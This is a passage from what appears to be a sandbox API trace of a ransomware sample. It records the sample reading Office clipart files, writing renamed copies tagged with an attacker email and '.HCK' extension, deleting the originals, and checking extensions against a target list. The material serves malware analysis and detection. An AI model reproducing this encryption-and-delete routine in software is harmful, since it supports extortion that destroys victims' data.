lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.009] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.009] SetEndOfFile (hFile=0x354) returned 1 [0168.011] CloseHandle (hObject=0x354) returned 1 [0168.012] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.012] SetEndOfFile (hFile=0x364) returned 1 [0168.013] CloseHandle (hObject=0x364) returned 1 [0168.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0168.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.022] lstrlenW (lpString=".doc") returned 4 [0168.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.022] lstrlenW (lpString=".docx") returned 5 [0168.022] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.022] lstrlenW (lpString=".pdf") returned 4 [0168.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.022] lstrlenW (lpString=".xls") returned 4 [0168.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.022] lstrlenW (lpString=".xlsx") returned 5 [0168.022] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.022] lstrlenW (lpString=".ppt") returned 4 [0168.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".zip") returned 4 [0168.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.023] lstrlenW (lpString=".rar") returned 4 [0168.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".bz2") returned 4 [0168.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".7z") returned 3 [0168.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".dbf") returned 4 [0168.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".1cd") returned 4 [0168.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".jpg") returned 4 [0168.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".doc") returned 4 [0168.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".docx") returned 5 [0168.023] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.023] lstrlenW (lpString=".pdf") returned 4 [0168.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".xls") returned 4 [0168.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.023] lstrlenW (lpString=".xlsx") returned 5 [0168.023] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.023] lstrlenW (lpString=".ppt") returned 4 [0168.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.023] lstrlenW (lpString=".zip") returned 4 [0168.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.023] lstrlenW (lpString=".rar") returned 4 [0168.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".bz2") returned 4 [0168.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.023] lstrlenW (lpString=".7z") returned 3 [0168.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.024] lstrlenW (lpString=".dbf") returned 4 [0168.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.024] lstrlenW (lpString=".1cd") returned 4 [0168.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0168.024] lstrlenW (lpString=".jpg") returned 4 [0168.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.024] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.024] lstrlenW (lpString="J0107528.WMF") returned 12 [0168.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.031] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6792) returned 1 [0168.031] CloseHandle (hObject=0x330) returned 1 [0168.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0168.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.040] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.040] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.045] GetLastError () returned 0x0 [0168.045] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1a88, lpOverlapped=0x0) returned 1 [0168.047] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0168.047] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.047] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.047] SetEndOfFile (hFile=0x378) returned 1 [0168.049] CloseHandle (hObject=0x378) returned 1 [0168.049] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.049] SetEndOfFile (hFile=0x2ec) returned 1 [0168.053] CloseHandle (hObject=0x2ec) returned 1 [0168.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.059] lstrlenW (lpString=".doc") returned 4 [0168.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.059] lstrlenW (lpString=".docx") returned 5 [0168.059] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.059] lstrlenW (lpString=".pdf") returned 4 [0168.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.059] lstrlenW (lpString=".xls") returned 4 [0168.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.059] lstrlenW (lpString=".xlsx") returned 5 [0168.059] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.059] lstrlenW (lpString=".ppt") returned 4 [0168.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".zip") returned 4 [0168.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.060] lstrlenW (lpString=".rar") returned 4 [0168.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".bz2") returned 4 [0168.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".7z") returned 3 [0168.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".dbf") returned 4 [0168.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".1cd") returned 4 [0168.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".jpg") returned 4 [0168.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".doc") returned 4 [0168.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".docx") returned 5 [0168.060] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.060] lstrlenW (lpString=".pdf") returned 4 [0168.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".xls") returned 4 [0168.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.060] lstrlenW (lpString=".xlsx") returned 5 [0168.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.060] lstrlenW (lpString=".ppt") returned 4 [0168.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".zip") returned 4 [0168.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.060] lstrlenW (lpString=".rar") returned 4 [0168.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".bz2") returned 4 [0168.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString=".7z") returned 3 [0168.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".dbf") returned 4 [0168.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".1cd") returned 4 [0168.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0168.060] lstrlenW (lpString=".jpg") returned 4 [0168.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.061] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.061] lstrlenW (lpString="J0107712.WMF") returned 12 [0168.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.069] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4636) returned 1 [0168.069] CloseHandle (hObject=0x330) returned 1 [0168.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0168.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.072] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.072] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.076] GetLastError () returned 0x0 [0168.076] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x121c, lpOverlapped=0x0) returned 1 [0168.090] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1220, lpOverlapped=0x0) returned 1 [0168.091] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.091] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.091] SetEndOfFile (hFile=0x3ac) returned 1 [0168.091] CloseHandle (hObject=0x3ac) returned 1 [0168.092] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.092] SetEndOfFile (hFile=0x39c) returned 1 [0168.092] CloseHandle (hObject=0x39c) returned 1 [0168.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".doc") returned 4 [0168.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString=".docx") returned 5 [0168.093] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.093] lstrlenW (lpString=".pdf") returned 4 [0168.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString=".xls") returned 4 [0168.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.093] lstrlenW (lpString=".xlsx") returned 5 [0168.093] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.093] lstrlenW (lpString=".ppt") returned 4 [0168.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".zip") returned 4 [0168.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.093] lstrlenW (lpString=".rar") returned 4 [0168.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString=".bz2") returned 4 [0168.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString=".7z") returned 3 [0168.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".dbf") returned 4 [0168.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".1cd") returned 4 [0168.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".jpg") returned 4 [0168.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.093] lstrlenW (lpString=".doc") returned 4 [0168.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString=".docx") returned 5 [0168.094] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.094] lstrlenW (lpString=".pdf") returned 4 [0168.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString=".xls") returned 4 [0168.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.094] lstrlenW (lpString=".xlsx") returned 5 [0168.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.094] lstrlenW (lpString=".ppt") returned 4 [0168.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.094] lstrlenW (lpString=".zip") returned 4 [0168.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.094] lstrlenW (lpString=".rar") returned 4 [0168.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString=".bz2") returned 4 [0168.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString=".7z") returned 3 [0168.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.094] lstrlenW (lpString=".dbf") returned 4 [0168.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.094] lstrlenW (lpString=".1cd") returned 4 [0168.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0168.094] lstrlenW (lpString=".jpg") returned 4 [0168.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.094] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.094] lstrlenW (lpString="J0107724.WMF") returned 12 [0168.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.095] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7016) returned 1 [0168.095] CloseHandle (hObject=0x39c) returned 1 [0168.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0168.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.095] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.095] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.096] GetLastError () returned 0x0 [0168.096] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1b68, lpOverlapped=0x0) returned 1 [0168.127] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0168.128] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.128] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.128] SetEndOfFile (hFile=0x3ac) returned 1 [0168.128] CloseHandle (hObject=0x3ac) returned 1 [0168.128] SetFilePointerEx (in: 